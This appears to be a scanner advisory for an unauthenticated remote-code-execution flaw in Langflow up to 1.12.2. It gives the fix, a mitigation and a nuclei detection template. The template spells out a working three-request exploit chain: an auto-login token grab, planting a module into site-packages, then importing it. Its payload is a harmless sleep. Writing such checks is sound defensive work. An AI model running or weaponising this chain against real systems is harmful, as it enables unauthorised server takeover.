Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution

criticalseverity

9.8CVSS score

15.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Langflow OSS 1.0.0 through 1.12.2 is vulnerable to unauthenticated remote code execution via the POST /api/v1/validate/code endpoint, which calls importlib.import_module() on user-supplied import statements, executing module top-level code instead of merely validating syntax. Combined with the default LANGFLOW_AUTO_LOGIN=true configuration (which issues a superuser JWT from GET /api/v1/auto_login with no credentials) and the custom_component exec() sink (POST /api/v1/custom_component, which can plant arbitrary Python modules into site-packages), a remote unauthenticated attacker achieves arbitrary OS command execution. Fixed in 1.12.3 by replacing importlib.import_module() with importlib.util.find_spec() (commit 461506ac2f).

Impact

Complete system compromise. An unauthenticated attacker can execute arbitrary OS commands with the privileges of the Langflow service account, leading to full control over flows, stored credentials, global variables, and any data accessible to the service.

Fix

Upgrade to Langflow OSS 1.12.3 or later. As a temporary mitigation, set LANGFLOW_AUTO_LOGIN=false with strong superuser credentials and restrict network access to the Langflow instance.

How to confirm it

Send: GET /api/v1/auto_login
Positive when: contains(body, "access_token")
Send: POST /api/v1/custom_component
Positive when: status_code == 200
Send: POST /api/v1/validate/code
Positive when: duration >= 8 and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-93674 -u <target>

The full check

id: CVE-2026-93674

info:
  name: Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Langflow OSS 1.0.0 through 1.12.2 is vulnerable to unauthenticated remote code execution via the POST /api/v1/validate/code endpoint, which calls importlib.import_module() on user-supplied import statements, executing module top-level code instead of merely validating syntax.
    Combined with the default LANGFLOW_AUTO_LOGIN=true configuration (which issues a superuser JWT from GET /api/v1/auto_login with no credentials) and the custom_component exec() sink (POST /api/v1/custom_component, which can plant arbitrary Python modules into site-packages), a remote unauthenticated attacker achieves arbitrary OS command execution.
    Fixed in 1.12.3 by replacing importlib.import_module() with importlib.util.find_spec() (commit 461506ac2f).
  impact: |
    Complete system compromise. An unauthenticated attacker can execute arbitrary OS commands with the privileges of the Langflow service account, leading to full control over flows, stored credentials, global variables, and any data accessible to the service.
  remediation: |
    Upgrade to Langflow OSS 1.12.3 or later. As a temporary mitigation, set LANGFLOW_AUTO_LOGIN=false with strong superuser credentials and restrict network access to the Langflow instance.
  reference:
    - https://www.pruva.dev/reproductions/REPRO-2026-00381
    - https://github.com/langflow-ai/langflow
    - https://github.com/langflow-ai/langflow/commit/461506ac2f38f70a994b5140572b876448c11e4c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-93674
    epss-score: 0.15286
    epss-percentile: 0.96796
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: langflow-ai
    product: langflow
    shodan-query: html:"Langflow"
    fofa-query: body="Langflow"
  tags: cve,cve2026,langflow,rce,code-injection,unauth,intrusive

variables:
  module: "nprobe{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: token
        json:
          - '.access_token'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token")'
        internal: true

  - raw:
      - |
        POST /api/v1/custom_component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"from langflow.custom import CustomComponent\nimport pathlib,site\nclass P(CustomComponent):\n    _=pathlib.Path(site.getsitepackages()[0]+'/{{module}}.py').write_text('import time;time.sleep(8)')"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"import {{module}}"}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from